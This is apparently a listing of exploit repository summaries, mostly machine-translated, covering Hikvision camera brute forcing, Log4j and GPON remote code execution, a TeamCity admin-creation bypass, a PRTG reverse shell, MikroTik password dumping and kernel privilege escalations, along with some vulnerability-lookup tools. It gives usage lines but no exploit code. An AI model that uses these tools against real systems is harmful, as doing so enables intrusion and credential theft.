HIK-CVE-2021-36260-Exploit

hikvisionbrute Fuerza bruta a cámaras Hikvision con el exploit CVE-2021-36260 ejecución go run src/main.go -help para obtener ayuda sobre los argumentos de ejecución ejemplo de ejecución go run src/main.go -infile ../CVE-NEW/hikvisionlist.txt.bak -threads 300 -maxtries 3 -timeout 10 -delay 2000...

cve-2025-39682

Exploit de CVE-2025-39682 en instancia de mitigación de kernelCTF Este es también mi primer exploit de 1 día ? no sé, esta es una variante de CVE-2024-58239. Parche: tls: corrige el manejo de registros de longitud cero en rxlist Este CVE se usó en exp398 y exp403. Hoja de cálculo de kernelCTF. Pa...

omigod

CVE-2021-38647: Omigod 另一个用 Go 快速而粗糙编写的 Omigod 漏洞利用程序。 该漏洞利用程序使用并基于以下内容： wiz 的研究：https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure midoxnet 的 SOAP 载荷：https://github.com/midoxnet/CVE-2021-38647 horizon3ai 的 Python 概念验证（PoC）：https://github.com/horizon3ai/CVE-2021-38647 用法 Usage: ...

CVE-2021-44228-Apache-Log4j-Rce

使用方法: 1. 运行 RMIServer 2. 运行 Main...

GPON-LOADER

GPON-LOADER 用于GPON家庭网关设备远程代码执行（CVE-2018-10562）的漏洞利用加载器，支持Payload，使用Python编写。 依赖项 requests 用法 python gpon-loader.py...

used_sock

usedsock 用于iOS 12-12.2和12.4的内核漏洞利用工具。此工具并非用于越狱。 你可以在这里找到相关分析文章。...

CVE-2024-27198

GenTeamCityExploit 是一个 PoC 工具，针对 TeamCity 服务器中的一个漏洞（CVE-2024-27198）。它通过利用认证绕过漏洞，能够发现 TeamCity 版本并创建新的管理员用户。 功能 提取 TeamCity 服务器版本。 检查已知漏洞（CVE-2024-27198）是否存在。 如果服务器存在漏洞，则创建新的管理员用户。 前提条件 Python 3.6+ ：确保已安装 Python。 库 ：使用以下命令安装所需库： pip install requests urllib3 使用方法 1. 克隆仓库。 git clone...

CVE-2020-13942

CVE-2020-13942 在使用脚本之前，先对目标运行 httpx 或 httprob。 用法 ./CVE-2020-13942.sh target.txt 致谢 本脚本基于 Rohit Gautam 的仓库制作。...

CVE-2021-32724-Target

CVE-2021-32724 漏洞利用目标仓库 /!\ 此仓库配置了易受攻击的 Check Spelling Workflow 版本 /!\ 此仓库是 CVE-2021-32724 漏洞利用的目标。 Helllo World...

CVE2PoC

CVE2PoC CVE2PoC 是一款帮助渗透测试人员、漏洞猎人及安全研究人员快速查找与 CVE ID 相关的公开漏洞、概念验证（PoC）和通告的工具。 目录 功能特性 安装 使用方法 查找公开漏洞 生成报告 CVE 描述 易受攻击的 Docker 环境与实操实验室 漏洞悬赏报告 修复步骤 漏洞利用文档 CPE 转 CVE ID CVE ID 转 CPE 过滤器 安装后配置 代码检查与格式化 鸣谢 免责声明 功能特性 🔍 公开漏洞聚合： 从 GitHub、Nuclei、ExploitDB 和 Metasploit 搜索并集中公开漏洞 🐳 隔离测试环境： 基于 Docker 的安全漏洞测试...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 反弹 Shell（支持 Python3） 依赖项 Impacket（Python3 版本） Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1. 执行漏洞利用需要凭据。尝试默认凭据...

JYso

JYso 可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种JNDI高版本、WAF、RASP的Bypass功能 中文文档 | English 🚀 上手指南 📢 请务必花一点时间阅读此文档，有助于你快速熟悉JYso！ 🧐 使用文档Wiki。 ✔ 下载最新版本的Releases。 👍 特点 GUI启动，傻瓜式操作 JNDI 账号密码启动 JNDI 路由隐藏或加密 JNDI 高版本Bypass 自定义修改内存马的路径、密码、验证的HTTP头与值 内存马支持无文件落地Agent打入 内存马写入 JRE 或环境变量来隐藏 序列化数据加脏数据...

Binary Exploits

Exploits binarios de Exploit Database Los exploits binarios se encuentran en el directorio /bin-sploits/. Este es un repositorio oficial de The Exploit Database, un proyecto patrocinado por Offensive Security. Nuestros repositorios son: Exploits y Shellcodes:...

Binary Exploits

Exploit Database's Binary Exploits Binary exploits are located in the /bin-sploits/ directory. This is an official repository of The Exploit Database, a project sponsored by Offensive Security. Our repositories are: Exploits & Shellcodes: https://gitlab.com/exploit-database/exploitdb Binary...

team-teso

team-teso TESO-CVS 于 2005 年（柏林）在 THC 的 10 周年派对上 赠予 THC。 此处发布仅用于教育目的。尽情享用。 部分物件从未存放在 CVS 中，已经遗失在时间的长河里： TESO 的 ssh 漏洞利用 许多（哦，太多太多了！）OpenBSD 漏洞利用（包括世界上首个针对 OpenBSD 的远程 0day） Stacheldraht 与 Blitzkrieg 太多照片（ 证据，咳咳 ）已被扔进大海。 太多从未被讲述的故事。 ...（如果你有任何这些“遗失”的物件，请发送 PR） https://www.team-teso.net...

CVE-2024-36877

CVE-2024-36877 POC de exploit para CVE-2024-36877 Puede encontrar un análisis detallado en mi blog - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...

MikrotikExploit

Mikrotik Exploit 扫描并导出RouterOS密码 允许你循环扫描不同端口的IPv4子网。 安装 安装python3 Ubuntu/Debian: $ apt-get install python3 安装python3包管理器 Ubuntu/Debian: $ apt-get install python3-pip Mac $ ruby -e "$curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install" export...

SploitScan

SploitScan 📜 描述 SploitScan 是一款强大且用户友好的工具，旨在简化已知漏洞及其利用概率的识别过程。它赋能网络安全专业人员快速识别并应用已知的测试性漏洞利用代码。对于希望加强安全措施或针对新兴威胁制定稳健检测策略的专业人士来说，该工具尤其有价值。 📖 目录 📜 描述 🌟 功能 💣 支持的漏洞利用数据库 📁 支持的漏洞扫描器导入 ⚙️ 安装 🚀 用法 🤖 AI 驱动的风险评估 🛡️ 补丁优先级系统 🫱🏼‍🫲🏽 贡献 📌 作者 📆 更新日志 🌟 功能 CVE 信息检索 获取漏洞的详细信息。 EPSS 集成 利用漏洞利用预测评分系统（EPSS）的数据检查漏洞被利用的可能性。...

CVE-2023-36802-MSKSSRV-LPE

CVE-2023-36802 MSKSSRV.sys 本地权限提升 CVE-2023-36802 的 PoC，针对 Microsoft Kernel Streaming Service Proxy，该组件存在类型混淆漏洞。 该概念验证基于 Benoît Sevens @benoitsevens 的文章。文章地址：https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html 原始漏洞利用及分析由 Valentina Palmiotti @chompie1337 完成。...

CVE-2018-19323

CVE-2018-19323：技嘉 GDrv 利用框架 概述 本仓库包含针对 CVE-2018-19323 的完整高级利用框架，该漏洞存在于技嘉 gdrv.sys 驱动中。此漏洞允许无特权用户读写任意模型特定寄存器（MSR），从而导致完整的 Ring-0（内核）沦陷，并将权限提升至 NT AUTHORITY\SYSTEM。 该框架设计为模块化、健壮且功能丰富，为安全研究、红队行动和漏洞分析提供了全面的工具。 主要特性 完整内核利用： 通过泄露 IA32LSTAR MSR 获得内核基址并执行令牌窃取 shellcode，实现权限提升。 多架构支持： 动态适配 x86 、x64 和 ARM6...